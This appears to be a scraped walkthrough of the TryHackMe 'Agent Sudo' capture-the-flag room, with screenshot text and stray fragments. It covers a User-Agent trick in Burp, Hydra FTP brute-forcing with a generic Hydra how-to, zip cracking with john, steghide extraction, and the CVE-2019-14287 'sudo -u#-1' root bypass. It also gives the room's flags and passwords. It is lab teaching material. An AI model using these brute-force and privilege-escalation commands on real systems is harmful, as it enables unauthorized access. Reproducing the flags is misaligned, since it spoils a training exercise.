

1 2 3 4

Burp Suite Community Edition 2024.5.5 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

Send Cancel Follow redirection

Request

1 GET / HTTP/1.1
2 Host: 10.10.65.179
3 Accept-Language: en-US
4 Upgrade-Insecure-Requests: 1
5 User-Agent: C
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate, br
8 Cookie: 5078651801.keep-alive
9
10

Response

1 HTTP/1.1 302 Found
2 Date: Tue, 20 Aug 2024 01:17:36 GMT
3 Server: Apache/2.4.29 (Ubuntu)
4 Location: agent_c_attention.php
5 Content-Length: 218
6 Keep-Alive: timeout=5, max=100
7 Connection: keep-alive
8 Content-Type: text/html; charset=UTF-8
9
10
11 <!DOCTYPE html>
12 <html>
13 <head>
14 <title>
15 </title>
16 </head>
17 <body>
18 <div>
19 <div>
20 <div>
21 Use your own <div>
22 </div>
23 </div>
24 </div>
25 </div>
26 </body>
27 </html>
28

Inspector

Target: http://10.10.65.179 HTTP/1.1

Selected text
agent_c_attention.php

Request attributes
Request query parameters
Request body parameters
Request cookies
Request headers
Response headers

Done
Event log All issues

459 bytes | 204 mB/s
Memory: 128.6MB

TryHackMe (Agent Sudo) x Agent Sudo - Walkthrough x 10.10.65.179/agent_c_attention.php

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OJSec Gmail

Attention chris,

Do you still remember our deal? Please tell agent J about the stuff ASAP. Also, change your god damn password, is weak!

From,
Agent R

```
(kali@kali)-[~]
└─$ hydra -l chris -P ~/Rockyou/rockyou.txt -t 6 ftp://10.10.65.179
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-19 15:38:14
[DATA] max 6 tasks per 1 server, overall 6 tasks, 14344399 login tries (l1/p14344399), ~2390734 tries per task
[DATA] attacking ftp://10.10.65.179:21/
[STATUS] 96.00 tries/min, 96 tries in 00:01h, 14344383 to do in 2490:20h, 6 active
[21][ftp] host: 10.10.65.179 login: chris password: crystal
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-19 15:32:59

(kali@kali)-[~]
└─$
```

How to brute force FTP, SSH, login and password using Hydra.

First, find out target IP address by using Nmap IP scanner or netdiscover

Then find the service

Locate password list using this command

hydra user_password

1. For FTP attack use this command

Hydra 1 syntax: `Hydra -l username -P password ftp://IP-address:21`

Example:

Hydra 1 syntax: `Hydra -l vanhauser -P password ftp://192.168.0.100:21`

Note: In your case, your wordlist address and IP address can be different

2. For ssh attack

Hydra 1 syntax: `Hydra -l username -P password ssh://IP-address:22`

Example:

Hydra 1 syntax: `Hydra -l vanhauser -P password ssh://192.168.0.100:22`

Note: In your case, your wordlist address and IP address can be different

```
(kali@kali)-[~]
└─$ ftp 10.10.65.179
Connected to 10.10.65.179.
220 (vsFTPd 3.0.3)
Name (10.10.65.179:kali): chris
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||17143|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
226 Directory send OK.
```

```
(kali@kali)-[~/Agent_Sudo]
└─$ file *
To_agentJ.txt: ASCII text
cute-alien.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 440x501, components 3
cutie.png: PNG image data, 528 x 528, 8-bit colormap, non-interlaced
hydra.restore: data
```

```
(kali@kali)-[~/Agent_Sudo]
└─$ binwalk cutie.png -e
```

DECIMAL	HEXADECIMAL	DESCRIPTION
0	0x0	PNG image, 528 x 528, 8-bit colormap, non-interlaced
869	0x365	Zlib compressed data, best compression

WARNING: Extractor.execute failed to run external extractor 'jar xvf %e': [Errno 2] No such file or directory: 'jar', 'jar xvf %e' might not be installed correctly

34562	0x8702	Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820	0x8804	End of Zip archive, footer length: 22

```

(kali㉿kali)-[~/Agent_Sudo]
$ ls
To_agentJ.txt  _cutie.png.extracted  cute-alien.jpg  cutie.png  hydra.restore

(kali㉿kali)-[~/Agent_Sudo]
$ cd _cutie.png.extracted

(kali㉿kali)-[~/Agent_Sudo/_cutie.png.extracted]
$ ls
365  365.zlib  8702.zip

(kali㉿kali)-[~/Agent_Sudo/_cutie.png.extracted]
$ unzip 8702.zip
Archive: 8702.zip
  skipping: To_agentR.txt          need PK compat. v5.1 (can do v4.6)

(kali㉿kali)-[~/Agent_Sudo/_cutie.png.extracted]
$ ls
365  365.zlib  8702.zip

(kali㉿kali)-[~/Agent_Sudo/_cutie.png.extracted]
$ zip2john 8702.zip > zip.txt

(kali㉿kali)-[~/Agent_Sudo/_cutie.png.extracted]
$ ls
365  365.zlib  8702.zip  zip.txt

```

```

(kali㉿kali)-[~/Agent_Sudo/_cutie.png.extracted]
$ john --wordlist=~/.Rockyou/rockyou.txt zip.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 512/512 AVX512BW 16x])
Cost 1 (HMAC size) is 78 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alien (8702.zip/To_agentR.txt)
1g 0:00:00:00 DONE (2024-08-19 16:16) 5.000g/s 327680p/s 327680c/s 327680C/s 123456..sabrina7
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

```
(kali㉿kali)-[~/Agent_Sudo/_cutie.png.extracted]
$ 7z e 8702.zip
```

```
7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
64-bit locale=C.UTF-8 Threads:16 OPEN_MAX:1024
```

```
Scanning the drive for archives:
1 file, 280 bytes (1 KiB)
```

```
Extracting archive: 8702.zip
```

```
--
```

```
Path = 8702.zip
```

```
Type = zip
```

```
Physical Size = 280
```

```
Enter password (will not be echoed):
Everything is Ok
```

```
Size:      86
```

```
Compressed: 280
```

```
(kali㉿kali)-[~/Agent_Sudo/_cutie.png.extracted]
$ ls
```

```
365  365.zlib  8702.zip  To_agentR.txt  zip.txt
```

```
(kali㉿kali)-[~/Agent_Sudo/_cutie.png.extracted]
$ cat To_agentR.txt
```

```
Agent C,
```

```
We need to send the picture to 'QXJLYTUX' as soon as possible!
```

```
By,
Agent R
```

Recipe

From Base64

Alphabet
A-Za-z0-9+/=

☒ Remove non-alphabet chars

☐ Strict mode

Input

QXJLYTUX|

rec 8 1

Output

Area51

```
(kali㉿kali)-[~/Agent_Sudo]
└─$ steghide info cute-alien.jpg
"cute-alien.jpg":
  format: jpeg
  capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
  embedded file "message.txt":
    size: 181.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes
```

```
(kali㉿kali)-[~/Agent_Sudo]
└─$ steghide --extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt".
```

```
(kali㉿kali)-[~/Agent_Sudo]
└─$ ls
To_agentJ.txt  _cutie.png.extracted  cute-alien.jpg  cutie.png  hydra.restore  message.txt
```

```
(kali㉿kali)-[~/Agent_Sudo]
└─$ cat message.txt
Hi james,

Glad you find this message. Your login password is hackerrules!

Don't ask me why the password look cheesy, ask agent R who set this password for you.

Your buddy,
chris
```

```

(kali㉿kali)-[~/Agent_Sudo]
$ ssh 10.10.65.179 -l james
james@10.10.65.179's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Tue Aug 20 02:50:46 UTC 2024

System load:  0.0               Processes:    98
Usage of /:   39.7% of 9.78GB   Users logged in: 0
Memory usage: 17%              IP address for eth0: 10.10.65.179
Swap usage:  0%

75 packages can be updated.
33 updates are security updates.

Last login: Tue Oct 29 14:26:27 2019
james@agent-sudo:~$

```

```

james@agent-sudo:~$ ls
Alien_autopsy.jpg  user_flag.txt
james@agent-sudo:~$ cat user_flag.txt
b03d975e8c92a7c04146cfa7a5a313c7

```

UFOS

Filmmaker reveals how he faked infamous 'Roswell alien autopsy' footage in a London apartment

The Sun

```

james@agent-sudo:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash

```

CVE-2019-14287 sudo Vulnerability Allows Bypass of User Restrictions

CVE-2019-14287



Michael Katchinskiy

October 17, 2019

```
james@agent-sudo:~$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on agent-sudo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on agent-sudo:
    (ALL, !root) /bin/bash
james@agent-sudo:~$ sudo -u#-1 /bin/bash
root@agent-sudo:~# whoami
root
```

```
root@agent-sudo:~# cd root/
root@agent-sudo:/root# ls
root.txt
root@agent-sudo:/root# cat root.txt
To Mr.hacker,

Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.

Your flag is
b53a02f55b57d4439e3341834d70c062

By,
DesKel a.k.a Agent R
```